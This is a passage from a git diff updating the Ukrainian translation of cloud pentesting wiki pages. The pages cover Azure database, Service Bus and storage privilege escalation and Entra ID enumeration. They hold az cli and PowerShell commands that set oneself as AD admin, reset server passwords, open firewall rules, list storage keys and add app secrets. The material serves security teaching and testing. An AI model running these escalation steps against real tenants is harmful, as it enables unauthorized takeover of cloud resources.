цією дозволом ви можете налаштувати адміністраторів Azure Active Directory (AD) для MySQL Flexible Server. Це можна експлуатувати, встановивши себе або інший обліковий запис як адміністратора AD, надаючи повний адміністративний контроль над MySQL сервером. Важливо, щоб flexible-server мав призначені користувачеві керовані ідентичності для використання. - -{% code overflow="wrap" %} ```bash az mysql flexible-server ad-admin create \ --resource-group \ @@ -61,6 +46,4 @@ az mysql flexible-server ad-admin create \ --identity \ --object-id ``` -{% endcode %} - {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-postgresql-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-postgresql-privesc.md index 10598a466..4abce6aa7 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-postgresql-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-postgresql-privesc.md @@ -5,15 +5,13 @@ ## PostgreSQL Privesc Для отримання додаткової інформації про SQL Database перегляньте: -{% content-ref url="../az-services/az-postgresql.md" %} +{{#ref}} [az-postgresql.md](../az-services/az-postgresql.md) -{% endcontent-ref %} +{{#endref}} -### "Microsoft.DBforPostgreSQL/flexibleServers/read" && "Microsoft.DBforPostgreSQL/flexibleServers/write" +### `Microsoft.DBforPostgreSQL/flexibleServers/read` && `Microsoft.DBforPostgreSQL/flexibleServers/write` -З цією дозволом ви можете створювати, оновлювати або видаляти екземпляри PostgreSQL Flexible Server на Azure. Це включає в себе постачання нових серверів, модифікацію існуючих конфігурацій серверів або виведення серверів з експлуатації. - -{% code overflow="wrap" %} +З цією дозволом ви можете створювати, оновлювати або видаляти екземпляри PostgreSQL Flexible Server на Azure. Це включає в себе постачання нових серверів, модифікацію конфігурацій існуючих серверів або виведення серверів з експлуатації. ```bash az postgres flexible-server create \ --name \ @@ -26,34 +24,22 @@ az postgres flexible-server create \ --tier \ --version ``` -{% endcode %} - -Наприклад, ці дозволи дозволяють змінювати пароль PostgreSQL, що, звичайно, корисно в разі, якщо автентифікація PostgreSQL увімкнена. - -{% code overflow="wrap" %} +Ці дозволи дозволяють змінювати пароль PostgreSQL, що, звичайно, корисно у випадку, якщо автентифікація PostgreSQL увімкнена. ```bash az postgres flexible-server update \ --resource-group \ --name \ --admin-password ``` -{% endcode %} - Крім того, необхідно увімкнути публічний доступ, якщо ви хочете отримати доступ з непри приватного кінцевого пункту, щоб увімкнути це: - -{% code overflow="wrap" %} ```bash az postgres flexible-server update --resource-group --server-name --public-access Enabled ``` -{% endcode %} +### `Microsoft.DBforPostgreSQL/flexibleServers/read`, `Microsoft.DBforPostgreSQL/flexibleServers/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`, `Microsoft.DBforPostgreSQL/flexibleServers/administrators/write` && `Microsoft.DBforPostgreSQL/flexibleServers/administrators/read` -### "Microsoft.DBforPostgreSQL/flexibleServers/read", "Microsoft.DBforPostgreSQL/flexibleServers/write", "Microsoft.ManagedIdentity/userAssignedIdentities/assign/action", "Microsoft.DBforPostgreSQL/flexibleServers/administrators/write" && "Microsoft.DBforPostgreSQL/flexibleServers/administrators/read" - -З цією дозволом ви можете налаштувати адміністраторів Azure Active Directory (AD) для PostgreSQL Flexible Server. Це можна експлуатувати, встановивши себе або інший обліковий запис як адміністратора AD, надаючи повний адміністративний контроль над сервером PostgreSQL. Оновлення існуючого принципала поки що не підтримується, тому, якщо він створений, ви повинні спочатку видалити його. +З цією дозволом ви можете налаштувати адміністраторів Azure Active Directory (AD) для PostgreSQL Flexible Server. Це можна експлуатувати, встановивши себе або інший обліковий запис як адміністратора AD, надаючи повний адміністративний контроль над сервером PostgreSQL. Оновлення існуючого принципала поки що не підтримується, тому, якщо він вже створений, ви повинні спочатку видалити його. Важливо, щоб flexible-server мав призначені користувачеві керовані ідентичності для використання. - -{% code overflow="wrap" %} ```bash az postgres flexible-server ad-admin create \ --resource-group \ @@ -62,6 +48,4 @@ az postgres flexible-server ad-admin create \ --identity \ --object-id ``` -{% endcode %} - {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-servicebus-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-servicebus-privesc.md index 1caf55a39..8f16e3534 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-servicebus-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-servicebus-privesc.md @@ -127,9 +127,9 @@ asyncio.run(receive_and_process_messages()) print("Message Receiving Completed") print("----------------------------") ``` -### `Microsoft.ServiceBus/namespaces/authorizationRules/write` & `Microsoft.ServiceBus/namespaces/authorizationRules/write` +### `Microsoft.ServiceBus/namespaces/authorizationRules/read` & `Microsoft.ServiceBus/namespaces/authorizationRules/write` -Якщо у вас є ці дозволи, ви можете підвищити привілеї, читаючи або створюючи ключі спільного доступу. Ці ключі дозволяють повний контроль над простором імен Service Bus, включаючи управління чергами, темами та відправленням/отриманням повідомлень, потенційно обходячи контроль доступу на основі ролей (RBAC). +Якщо у вас є ці дозволи, ви можете підвищити привілеї, читаючи або створюючи спільні ключі доступу. Ці ключі дозволяють повний контроль над простором імен Service Bus, включаючи управління чергами, темами та надсиланням/отриманням повідомлень, потенційно обходячи контроль доступу на основі ролей (RBAC). ```bash az servicebus namespace authorization-rule update \ --resource-group \ diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-sql-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-sql-privesc.md index 65b0ac67e..1e6e495ec 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-sql-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-sql-privesc.md @@ -10,9 +10,9 @@ ../az-services/az-sql.md {{#endref}} -### "Microsoft.Sql/servers/read" && "Microsoft.Sql/servers/write" +### `Microsoft.Sql/servers/read` && `Microsoft.Sql/servers/write` -З цими дозволами користувач може виконати ескалацію привілеїв, оновлюючи або створюючи Azure SQL сервери та змінюючи критичні конфігурації, включаючи адміністративні облікові дані. Цей дозвіл дозволяє користувачу оновлювати властивості сервера, включаючи пароль адміністратора SQL сервера, що дозволяє несанкціонований доступ або контроль над сервером. Вони також можуть створювати нові сервери, потенційно вводячи тіньову інфраструктуру для зловмисних цілей. Це стає особливо критичним у середовищах, де "Microsoft Entra Authentication Only" вимкнено, оскільки вони можуть використовувати SQL-аутентифікацію для отримання необмеженого доступу. +З цими дозволами користувач може виконати ескалацію привілеїв, оновлюючи або створюючи Azure SQL сервери та змінюючи критичні конфігурації, включаючи адміністративні облікові дані. Цей дозвіл дозволяє користувачу оновлювати властивості сервера, включаючи пароль адміністратора SQL сервера, що дозволяє несанкціонований доступ або контроль над сервером. Вони також можуть створювати нові сервери, потенційно вводячи тіньову інфраструктуру для зловмисних цілей. Це стає особливо критичним в середовищах, де "Microsoft Entra Authentication Only" вимкнено, оскільки вони можуть експлуатувати SQL-автентифікацію для отримання необмеженого доступу. ```bash # Change the server password az sql server update \ @@ -28,16 +28,16 @@ az sql server create \ --admin-user \ --admin-password ``` -Додатково необхідно увімкнути публічний доступ, якщо ви хочете отримати доступ з непри приватної точки доступу, щоб увімкнути це: +Крім того, необхідно увімкнути публічний доступ, якщо ви хочете отримати доступ з непри приватного кінцевого пункту, щоб увімкнути це: ```bash az sql server update \ --name \ --resource-group \ --enable-public-network true ``` -### "Microsoft.Sql/servers/firewallRules/write" +### `Microsoft.Sql/servers/firewallRules/write` -Зловмисник може маніпулювати правилами брандмауера на Azure SQL серверах, щоб дозволити несанкціонований доступ. Це можна використати для відкриття сервера для конкретних IP-адрес або цілих діапазонів IP, включаючи публічні IP, що дозволяє доступ для зловмисників. Ця діяльність після експлуатації може бути використана для обходу існуючих мережевих засобів безпеки, встановлення стійкості або полегшення латерального переміщення в середовищі шляхом відкриття чутливих ресурсів. +Зловмисник може маніпулювати правилами брандмауера на Azure SQL серверах, щоб дозволити несанкціонований доступ. Це можна використати для відкриття сервера для конкретних IP-адрес або цілих діапазонів IP, включаючи публічні IP, що дозволяє доступ зловмисникам. Ця діяльність після експлуатації може бути використана для обходу існуючих мережевих засобів безпеки, встановлення стійкості або полегшення латерального переміщення в середовищі шляхом відкриття чутливих ресурсів. ```bash # Create Firewall Rule az sql server firewall-rule create \ @@ -58,7 +58,7 @@ az sql server firewall-rule update \ Додатково, `Microsoft.Sql/servers/outboundFirewallRules/delete` дозволяє вам видаляти правило брандмауера. ПРИМІТКА: Необхідно мати увімкнений публічний доступ. -### ""Microsoft.Sql/servers/ipv6FirewallRules/write" +### `Microsoft.Sql/servers/ipv6FirewallRules/write` З цим дозволом ви можете створювати, змінювати або видаляти правила брандмауера IPv6 на Azure SQL Server. Це може дозволити зловмиснику або авторизованому користувачу обійти існуючі конфігурації мережевої безпеки та отримати несанкціонований доступ до сервера. Додавши правило, яке дозволяє трафік з будь-якої IPv6 адреси, зловмисник може відкрити сервер для зовнішнього доступу. ```bash @@ -70,9 +70,9 @@ az sql server firewall-rule create \ --end-ip-address ``` Додатково, `Microsoft.Sql/servers/ipv6FirewallRules/delete` дозволяє вам видаляти правило брандмауера. -ПРИМІТКА: Необхідно мати увімкнений публічний доступ +ПРИМІТКА: Необхідно мати увімкнений публічний доступ. -### "Microsoft.Sql/servers/administrators/write" && "Microsoft.Sql/servers/administrators/read" +### `Microsoft.Sql/servers/administrators/write` && `Microsoft.Sql/servers/administrators/read` З цими дозволами ви можете підвищити привілеї в середовищі Azure SQL Server, отримуючи доступ до SQL баз даних і витягуючи критичну інформацію. Використовуючи команду нижче, зловмисник або авторизований користувач можуть встановити себе або інший обліковий запис як адміністратора Azure AD. Якщо "Microsoft Entra Authentication Only" увімкнено, ви зможете отримати доступ до сервера та його екземплярів. Ось команда для встановлення адміністратора Azure AD для SQL сервера: ```bash @@ -82,7 +82,7 @@ az sql server ad-admin create \ --display-name \ --object-id ``` -### "Microsoft.Sql/servers/azureADOnlyAuthentications/write" && "Microsoft.Sql/servers/azureADOnlyAuthentications/read" +### `Microsoft.Sql/servers/azureADOnlyAuthentications/write` && `Microsoft.Sql/servers/azureADOnlyAuthentications/read` З цими дозволами ви можете налаштувати та впровадити "Тільки автентифікацію Microsoft Entra" на Azure SQL Server, що може сприяти ескалації привілеїв у певних сценаріях. Зловмисник або авторизований користувач з цими дозволами можуть увімкнути або вимкнути автентифікацію лише для Azure AD. ```bash diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-storage-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-storage-privesc.md index f489b8b03..a7197339c 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-storage-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-storage-privesc.md @@ -10,13 +10,13 @@ ../az-services/az-storage.md {{#endref}} -### Microsoft.Storage/storageAccounts/listkeys/action +### `Microsoft.Storage/storageAccounts/listkeys/action` Принципал з цим дозволом зможе перерахувати (та секретні значення) **ключі доступу** облікових записів зберігання. Це дозволяє принципалу підвищити свої привілеї над обліковими записами зберігання. ```bash az storage account keys list --account-name ``` -### Microsoft.Storage/storageAccounts/regenerateKey/action +### `Microsoft.Storage/storageAccounts/regenerateKey/action` Принципал з цим дозволом зможе оновити та отримати нове значення секрету **access keys** облікових записів зберігання. Це дозволяє принципалу підвищити свої привілеї над обліковими записами зберігання. @@ -24,7 +24,7 @@ az storage account keys list --account-name ```bash az storage account keys renew --account-name --key key2 ``` -### Microsoft.Storage/storageAccounts/write +### `Microsoft.Storage/storageAccounts/write` Принципал з цим дозволом зможе створювати або оновлювати існуючий обліковий запис зберігання, оновлюючи будь-які налаштування, такі як мережеві правила або політики. ```bash @@ -36,7 +36,7 @@ az storage account update --name --add networkRuleSet.ipRules value=< ``` ## Blobs Specific privesc -### Microsoft.Storage/storageAccounts/blobServices/containers/immutabilityPolicies/write | Microsoft.Storage/storageAccounts/blobServices/containers/immutabilityPolicies/delete +### `Microsoft.Storage/storageAccounts/blobServices/containers/immutabilityPolicies/write` | `Microsoft.Storage/storageAccounts/blobServices/containers/immutabilityPolicies/delete` Перше дозволяє **змінювати політики незмінності** в контейнерах, а друге - видаляти їх. @@ -56,21 +56,21 @@ az storage container immutability-policy update \ ``` ## File shares specific privesc -### Microsoft.Storage/storageAccounts/fileServices/takeOwnership/action +### `Microsoft.Storage/storageAccounts/fileServices/takeOwnership/action` Це повинно дозволити користувачу, який має це дозволення, взяти на себе право власності на файли в спільній файловій системі. -### Microsoft.Storage/storageAccounts/fileServices/fileshares/files/modifypermissions/action +### `Microsoft.Storage/storageAccounts/fileServices/fileshares/files/modifypermissions/action` Це повинно дозволити користувачу, який має це дозволення, змінювати дозволи файлів у спільній файловій системі. -### Microsoft.Storage/storageAccounts/fileServices/fileshares/files/actassuperuser/action +### `Microsoft.Storage/storageAccounts/fileServices/fileshares/files/actassuperuser/action` Це повинно дозволити користувачу, який має це дозволення, виконувати дії в файловій системі як суперкористувач. -### Microsoft.Storage/storageAccounts/localusers/write (Microsoft.Storage/storageAccounts/localusers/read) +### `Microsoft.Storage/storageAccounts/localusers/write (Microsoft.Storage/storageAccounts/localusers/read)` -З цим дозволенням зловмисник може створювати та оновлювати (якщо має `Microsoft.Storage/storageAccounts/localusers/read` дозволення) нового локального користувача для облікового запису Azure Storage (налаштованого з ієрархічним простором імен), включаючи вказівку дозволів користувача та домашнього каталогу. Це дозволення є значущим, оскільки дозволяє зловмиснику надавати собі доступ до облікового запису з конкретними дозволами, такими як читання (r), запис (w), видалення (d) та список (l) та інше. Додатково, методи аутентифікації, які використовуються, можуть бути згенерованими паролями Azure та парами SSH-ключів. Немає перевірки, чи вже існує користувач, тому ви можете перезаписати інших користувачів, які вже там є. Зловмисник може підвищити свої привілеї та отримати доступ SSH до облікового запису, потенційно відкриваючи або компрометуючи чутливі дані. +З цим дозволенням зловмисник може створювати та оновлювати (якщо має `Microsoft.Storage/storageAccounts/localusers/read` дозволення) нового локального користувача для облікового запису Azure Storage (налаштованого з ієрархічним простором імен), включаючи вказівку дозволів користувача та домашнього каталогу. Це дозволення є значним, оскільки дозволяє зловмиснику надавати собі доступ до облікового запису сховища з конкретними дозволами, такими як читання (r), запис (w), видалення (d) та список (l) та інше. Додатково, методи аутентифікації, які використовуються, можуть бути паролі, згенеровані Azure, та пари SSH-ключів. Немає перевірки, чи вже існує користувач, тому ви можете перезаписати інших користувачів, які вже там є. Зловмисник може підвищити свої привілеї та отримати доступ SSH до облікового запису сховища, потенційно відкриваючи або компрометуючи чутливі дані. ```bash az storage account local-user create \ --account-name \ @@ -80,7 +80,7 @@ az storage account local-user create \ --home-directory \ --has-ssh-key false/true # Depends on the auth method to use ``` -### Microsoft.Storage/storageAccounts/localusers/regeneratePassword/action +### `Microsoft.Storage/storageAccounts/localusers/regeneratePassword/action` З цією дозволом зловмисник може відновити пароль для локального користувача в обліковому записі Azure Storage. Це надає зловмиснику можливість отримати нові облікові дані для аутентифікації (такі як пароль SSH або SFTP) для користувача. Використовуючи ці облікові дані, зловмисник може отримати несанкціонований доступ до облікового запису зберігання, виконувати передачу файлів або маніпулювати даними в контейнерах зберігання. Це може призвести до витоку даних, пошкодження або зловмисного модифікування вмісту облікового запису зберігання. ```bash @@ -89,12 +89,12 @@ az storage account local-user regenerate-password \ --resource-group \ --name ``` -Щоб отримати доступ до Azure Blob Storage через SFTP (is_hns_enabled має бути true), використовуючи локального користувача через SFTP, ви можете (також можна використовувати ssh-ключ для підключення): +Щоб отримати доступ до Azure Blob Storage через SFTP (is_hns_enabled має бути true), використовуючи локального користувача через SFTP, ви можете (також можна використовувати ssh ключ для підключення): ```bash sftp .@.blob.core.windows.net #regenerated-password ``` -### Microsoft.Storage/storageAccounts/restoreBlobRanges/action, Microsoft.Storage/storageAccounts/blobServices/containers/read, Microsoft.Storage/storageAccounts/read && Microsoft.Storage/storageAccounts/listKeys/action +### `Microsoft.Storage/storageAccounts/restoreBlobRanges/action`, `Microsoft.Storage/storageAccounts/blobServices/containers/read`, `Microsoft.Storage/storageAccounts/read` && `Microsoft.Storage/storageAccounts/listKeys/action` З цими дозволами зловмисник може відновити видалений контейнер, вказавши його ID видаленої версії, або відновити конкретні блоби в контейнері, якщо вони були раніше м'яко видалені. Це підвищення привілеїв може дозволити зловмиснику відновити чутливі дані, які мали бути назавжди видалені, що потенційно призведе до несанкціонованого доступу. ```bash @@ -110,7 +110,7 @@ az storage blob undelete \ --container-name \ --name "fileName.txt" ``` -### Microsoft.Storage/storageAccounts/fileServices/shares/restore/action && Microsoft.Storage/storageAccounts/read +### `Microsoft.Storage/storageAccounts/fileServices/shares/restore/action` && `Microsoft.Storage/storageAccounts/read` З цими дозволами зловмисник може відновити виділений Azure файл-шар, вказавши його ID видаленої версії. Це підвищення привілеїв може дозволити зловмиснику відновити чутливі дані, які мали бути назавжди видалені, що потенційно призведе до несанкціонованого доступу. ```bash @@ -121,9 +121,9 @@ az storage share-rm restore \ ``` ## Інші цікаві дозволи (TODO) -- Microsoft.Storage/storageAccounts/blobServices/containers/blobs/manageOwnership/action: Змінює право власності на blob -- Microsoft.Storage/storageAccounts/blobServices/containers/blobs/modifyPermissions/action: Модифікує дозволи на blob -- Microsoft.Storage/storageAccounts/blobServices/containers/blobs/runAsSuperUser/action: Повертає результат команди blob +- Microsoft.Storage/storageAccounts/blobServices/containers/blobs/manageOwnership/action: Змінює власність блобу +- Microsoft.Storage/storageAccounts/blobServices/containers/blobs/modifyPermissions/action: Модифікує дозволи блобу +- Microsoft.Storage/storageAccounts/blobServices/containers/blobs/runAsSuperUser/action: Повертає результат команди блобу - Microsoft.Storage/storageAccounts/blobServices/containers/blobs/immutableStorage/runAsSuperUser/action ## Посилання diff --git a/src/pentesting-cloud/azure-security/az-services/az-azuread.md b/src/pentesting-cloud/azure-security/az-services/az-azuread.md index 870c49784..1e0506065 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-azuread.md +++ b/src/pentesting-cloud/azure-security/az-services/az-azuread.md @@ -4,9 +4,9 @@ ## Основна інформація -Azure Active Directory (Azure AD) є хмарною службою Microsoft для управління ідентичністю та доступом. Вона є важливою для того, щоб співробітники могли входити в систему та отримувати доступ до ресурсів як всередині, так і за межами організації, включаючи Microsoft 365, портал Azure та безліч інших SaaS-додатків. Дизайн Azure AD зосереджений на наданні основних ідентифікаційних послуг, зокрема **автентифікації, авторизації та управління користувачами**. +Azure Active Directory (Azure AD) є хмарним сервісом Microsoft для управління ідентичністю та доступом. Він є важливим для того, щоб співробітники могли входити в систему та отримувати доступ до ресурсів як всередині, так і за межами організації, включаючи Microsoft 365, портал Azure та безліч інших SaaS-додатків. Дизайн Azure AD зосереджений на наданні основних ідентифікаційних послуг, зокрема **автентифікації, авторизації та управління користувачами**. -Ключові функції Azure AD включають **багатофакторну автентифікацію** та **умовний доступ**, а також безшовну інтеграцію з іншими службами безпеки Microsoft. Ці функції значно підвищують безпеку ідентичностей користувачів і надають організаціям можливість ефективно впроваджувати та забезпечувати свої політики доступу. Як основний компонент екосистеми хмарних служб Microsoft, Azure AD є ключовим для управління ідентичностями користувачів у хмарі. +Ключові функції Azure AD включають **багатофакторну автентифікацію** та **умовний доступ**, а також безшовну інтеграцію з іншими службами безпеки Microsoft. Ці функції значно підвищують безпеку ідентичностей користувачів і надають організаціям можливість ефективно впроваджувати та забезпечувати свої політики доступу. Як основний компонент екосистеми хмарних сервісів Microsoft, Azure AD є ключовим для управління ідентичностями користувачів у хмарі. ## Перерахування @@ -184,9 +184,9 @@ Connect-AzureAD -AccountId test@corp.onmicrosoft.com -AadAccessToken $token {{#endtab }} {{#endtabs }} -Коли ви **входите** через **CLI** в Azure з будь-якою програмою, ви використовуєте **Azure Application** з **оренди**, яка належить **Microsoft**. Ці програми, як ті, що ви можете створити у своєму обліковому записі, **мають ідентифікатор клієнта**. Ви **не зможете побачити всі з них** у **списках дозволених програм**, які ви можете побачити в консолі, **але вони дозволені за замовчуванням**. +Коли ви **входите** через **CLI** в Azure з будь-якою програмою, ви використовуєте **Azure Application** з **тенанту**, що належить **Microsoft**. Ці програми, як ті, що ви можете створити у своєму обліковому записі, **мають ідентифікатор клієнта**. Ви **не зможете побачити всі з них** у **списках дозволених програм**, які ви можете бачити в консолі, **але вони дозволені за замовчуванням**. -Наприклад, **скрипт powershell**, який **автентифікує**, використовує додаток з ідентифікатором клієнта **`1950a258-227b-4e31-a9cf-717495945fc2`**. Навіть якщо додаток не з'являється в консолі, системний адміністратор може **заблокувати цей додаток**, щоб користувачі не могли отримати доступ, використовуючи інструменти, які підключаються через цей додаток. +Наприклад, **скрипт powershell**, який **автентифікує**, використовує додаток з ідентифікатором клієнта **`1950a258-227b-4e31-a9cf-717495945fc2`**. Навіть якщо додаток не з'являється в консолі, системний адміністратор може **заблокувати цю програму**, щоб користувачі не могли отримати доступ, використовуючи інструменти, які підключаються через цей додаток. Однак є **інші ідентифікатори клієнтів** програм, які **дозволять вам підключитися до Azure**: ```bash @@ -494,9 +494,9 @@ Add-AzureADGroupMember -ObjectId -RefObjectId -Verbose ../az-privilege-escalation/az-entraid-privesc/dynamic-groups.md {{#endref}} -### Сервісні принципали +### Service Principals -Для отримання додаткової інформації про сервісні принципали Entra ID перевірте: +Для отримання додаткової інформації про служби Entra ID перевірте: {{#ref}} ../az-basic-information/ @@ -597,11 +597,11 @@ Get-AzureADServicePrincipal -ObjectId | Get-AzureADServicePrincipalMembersh {{#endtabs }} > [!WARNING] -> Власник сервісного принципалу може змінити його пароль. +> Власник служби Principal може змінити його пароль.
-Список та спроба додати клієнтський секрет до кожного корпоративного додатку +Список та спроба додати секрет клієнта до кожного корпоративного додатку ```bash # Just call Add-AzADAppSecret Function Add-AzADAppSecret @@ -800,7 +800,7 @@ Get-AzureADApplication -ObjectId | Get-AzureADApplicationOwner |fl * > Отже, якщо ви знайдете цей **пароль**, ви зможете отримати доступ як **сервісний принципал** **всередині** **орендаря**.\ > Зверніть увагу, що цей пароль видимий лише під час генерації (ви можете змінити його, але не зможете отримати його знову).\ > **Власник** **додатка** може **додати пароль** до нього (щоб він міг його імітувати).\ -> Вхідні дані як ці сервісні принципали **не позначаються як ризикові** і **не матимуть MFA.** +> Вхідні дані таких сервісних принципалів **не позначаються як ризикові** і **не матимуть MFA.** Можливо знайти список загальновживаних ID додатків, що належать Microsoft, за адресою [https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications](https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications) @@ -892,16 +892,9 @@ Get-AzRoleAssignment -Scope /subscriptions//resourceGroups//members" -# Список ролей Entra ID, призначених користувачу +# List Entra ID roles assigned to a user az rest --method GET \ --uri "https://graph.microsoft.com/v1.0/users//memberOf/microsoft.graph.directoryRole" \ --query "value[]" \ --output json -# Список ролей Entra ID, призначених групі +# List Entra ID roles assigned to a group az rest --method GET \ --uri "https://graph.microsoft.com/v1.0/groups/$GROUP_ID/memberOf/microsoft.graph.directoryRole" \ --query "value[]" \ --output json -# Список ролей Entra ID, призначених службовому принципалу +# List Entra ID roles assigned to a service principal az rest --method GET \ --uri "https://graph.microsoft.com/v1.0/servicePrincipals/$SP_ID/memberOf/microsoft.graph.directoryRole" \ --query "value[]" \ --output json ``` - {{#endtab }} {{#tab name="Azure AD" }} - ```bash -# Отримати всі доступні шаблони ролей +# Get all available role templates Get-AzureADDirectoryroleTemplate -# Отримати активовані ролі (Призначені ролі) +# Get enabled roles (Assigned roles) Get-AzureADDirectoryRole -Get-AzureADDirectoryRole -ObjectId #Отримати інформацію про роль -# Отримати користувацькі ролі - використовуйте AzureAdPreview +Get-AzureADDirectoryRole -ObjectId #Get info about the role +# Get custom roles - use AzureAdPreview Get-AzureADMSRoleDefinition | ?{$_.IsBuiltin -eq $False} | select DisplayName -# Користувачі, призначені ролі (Глобальний адміністратор) +# Users assigned a role (Global Administrator) Get-AzureADDirectoryRole -Filter "DisplayName eq 'Global Administrator'" | Get-AzureADDirectoryRoleMember Get-AzureADDirectoryRole -ObjectId | fl -# Ролі адміністративної одиниці (хто має права над адміністративною одиницею та її членами) +# Roles of the Administrative Unit (who has permissions over the administrative unit and its members) Get-AzureADMSScopedRoleMembership -Id | fl * ``` - {{#endtab }} {{#endtabs }} -### Devices +### Пристрої {{#tabs }} {{#tab name="az cli" }} - ```bash -# Якщо ви знаєте, як це зробити, надішліть PR! +# If you know how to do this send a PR! ``` - {{#endtab }} {{#tab name="MS Graph" }} - ```bash -# Перерахувати пристрої за допомогою Microsoft Graph PowerShell +# Enumerate devices using Microsoft Graph PowerShell Get-MgDevice -All -# Отримати деталі пристрою +# Get device details Get-MgDevice -DeviceId | Format-List * -# Отримати пристрої, керовані за допомогою Intune +# Get devices managed using Intune Get-MgDevice -Filter "isCompliant eq true" -All -# Отримати пристрої, що належать користувачу +# Get devices owned by a user Get-MgUserOwnedDevice -UserId test@corp.onmicrosoft.com -# Перелічити доступні команди в Microsoft Graph PowerShell +# List available commands in Microsoft Graph PowerShell Get-Command -Module Microsoft.Graph.Identity.DirectoryManagement ``` {{#endtab }} {{#tab name="Azure AD" }} - ```bash -# Перерахувати пристрої +# Enumerate Devices Get-AzureADDevice -All $true | fl * -# Список всіх активних пристроїв (а не застарілих) +# List all the active devices (and not the stale devices) Get-AzureADDevice -All $true | ?{$_.ApproximateLastLogonTimeStamp -ne $null} -# Отримати власників всіх пристроїв +# Get owners of all devices Get-AzureADDevice -All $true | Get-AzureADDeviceRegisteredOwner Get-AzureADDevice -All $true | %{if($user=Get-AzureADDeviceRegisteredOwner -ObjectId $_.ObjectID){$_;$user.UserPrincipalName;"`n"}} -# Зареєстровані користувачі всіх пристроїв +# Registred users of all the devices Get-AzureADDevice -All $true | Get-AzureADDeviceRegisteredUser Get-AzureADDevice -All $true | %{if($user=Get-AzureADDeviceRegisteredUser -ObjectId $_.ObjectID){$_;$user.UserPrincipalName;"`n"}} -# Отримати пристрої, керовані за допомогою Intune +# Get dives managed using Intune Get-AzureADDevice -All $true | ?{$_.IsCompliant -eq "True"} -# Отримати пристрої, що належать користувачу +# Get devices owned by a user Get-AzureADUserOwnedDevice -ObjectId test@corp.onmicrosoft.com -# Отримати адміністративні одиниці пристрою +# Get Administrative Units of a device Get-AzureADMSAdministrativeUnit | where { Get-AzureADMSAdministrativeUnitMember -ObjectId $_.ObjectId | where {$_.ObjectId -eq $deviceObjId} } ``` - {{#endtab }} {{#endtabs }} > [!WARNING] -> If a device (VM) is **AzureAD joined**, users from AzureAD are going to be **able to login**.\ -> Moreover, if the logged user is **Owner** of the device, he is going to be **local admin**. +> Якщо пристрій (VM) є **приєднаним до AzureAD**, користувачі з AzureAD зможуть **увійти в систему**.\ +> Більше того, якщо увійшовший користувач є **власником** пристрою, він буде **локальним адміністратором**. -### Administrative Units +### Адміністративні одиниці -For more information about administrative units check: +Для отримання додаткової інформації про адміністративні одиниці перегляньте: {{#ref}} ../az-basic-information/ @@ -1062,104 +1045,100 @@ For more information about administrative units check: {{#tabs }} {{#tab name="az cli" }} - ```bash -# Список всіх адміністративних одиниць +# List all administrative units az rest --method GET --uri "https://graph.microsoft.com/v1.0/directory/administrativeUnits" -# Отримати інформацію про AU +# Get AU info az rest --method GET --uri "https://graph.microsoft.com/v1.0/directory/administrativeUnits/a76fd255-3e5e-405b-811b-da85c715ff53" -# Отримати учасників +# Get members az rest --method GET --uri "https://graph.microsoft.com/v1.0/directory/administrativeUnits/a76fd255-3e5e-405b-811b-da85c715ff53/members" -# Отримати принципи з ролями над AU +# Get principals with roles over the AU az rest --method GET --uri "https://graph.microsoft.com/v1.0/directory/administrativeUnits/a76fd255-3e5e-405b-811b-da85c715ff53/scopedRoleMembers" ``` - {{#endtab }} {{#tab name="AzureAD" }} - ```bash -# Отримати адміністративні одиниці +# Get Administrative Units Get-AzureADMSAdministrativeUnit Get-AzureADMSAdministrativeUnit -Id -# Отримати ID адміністративної одиниці за рядком +# Get ID of admin unit by string $adminUnitObj = Get-AzureADMSAdministrativeUnit -Filter "displayname eq 'Test administrative unit 2'" -# Перелічити користувачів, групи та пристрої, які підпадають під адміністративну одиницю +# List the users, groups, and devices affected by the administrative unit Get-AzureADMSAdministrativeUnitMember -Id -# Отримати ролі, які мають користувачі над членами AU -Get-AzureADMSScopedRoleMembership -Id | fl #Отримати ID ролі та членів ролі +# Get the roles users have over the members of the AU +Get-AzureADMSScopedRoleMembership -Id | fl #Get role ID and role members ``` - {{#endtab }} {{#endtabs }} -## Entra ID Privilege Escalation +## Підвищення привілеїв Entra ID {{#ref}} ../az-privilege-escalation/az-entraid-privesc/ {{#endref}} -## Azure Privilege Escalation +## Підвищення привілеїв Azure {{#ref}} ../az-privilege-escalation/az-authorization-privesc.md {{#endref}} -## Defensive Mechanisms +## Захисні механізми -### Privileged Identity Management (PIM) +### Управління привілейованими ідентичностями (PIM) -Privileged Identity Management (PIM) in Azure helps to **prevent excessive privileges** to being assigned to users unnecessarily. +Управління привілейованими ідентичностями (PIM) в Azure допомагає **запобігти надмірним привілеям**, які без потреби надаються користувачам. -One of the main features provided by PIM is that It allows to not assign roles to principals that are constantly active, but make them **eligible for a period of time (e.g. 6months)**. Then, whenever the user wants to activate that role, he needs to ask for it indicating the time he needs the privilege (e.g. 3 hours). Then an **admin needs to approve** the request.\ -Note that the user will also be able to ask to **extend** the time. +Однією з основних функцій, які надає PIM, є те, що він дозволяє не призначати ролі принципалам, які постійно активні, а робити їх **придатними на певний період часу (наприклад, 6 місяців)**. Тоді, коли користувач хоче активувати цю роль, він повинен запитати її, вказуючи час, на 